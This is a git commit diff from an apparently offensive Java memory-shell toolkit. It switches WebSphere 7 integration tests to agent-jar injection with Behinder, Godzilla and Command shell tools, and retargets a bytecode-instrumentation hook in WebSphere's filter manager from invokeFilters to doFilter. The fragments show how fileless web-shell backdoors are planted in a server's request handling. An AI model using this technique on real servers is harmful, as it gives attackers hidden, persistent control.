fix: was7 agent shell fail sometime

This commit is contained in:
ReaJason
2025-01-07 10:02:51 +08:00
parent 72b4effa35
commit ff40e5c3fb
2 changed files with 15 additions and 14 deletions
@@ -1,5 +1,6 @@
package com.reajason.javaweb.integration.websphere; package com.reajason.javaweb.integration.websphere;
import com.reajason.javaweb.memshell.WebSphereShell;
import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.config.ShellTool;
@@ -44,18 +45,18 @@ public class WebSphere700ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
return Stream.of( return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), // arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), // arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), // arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) // arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
// arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
// arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar), arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
// arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
); );
} }
@@ -33,7 +33,7 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
TypeDescription typeDescription, TypeDescription typeDescription,
ClassLoader classLoader, JavaModule module, ClassLoader classLoader, JavaModule module,
ProtectionDomain protectionDomain) { ProtectionDomain protectionDomain) {
return builder.visit(Advice.to(interceptorClass).on(named("invokeFilters"))); return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
} }
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
@@ -58,6 +58,6 @@ public class WebSphereFilterChainAgentInjector implements AgentBuilder.Transform
.type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager")) .type(named("com.ibm.ws.webcontainer.filter.WebAppFilterManager"))
.transform(new WebSphereFilterChainAgentInjector()) .transform(new WebSphereFilterChainAgentInjector())
.installOn(inst); .installOn(inst);
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters"); System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
} }
} }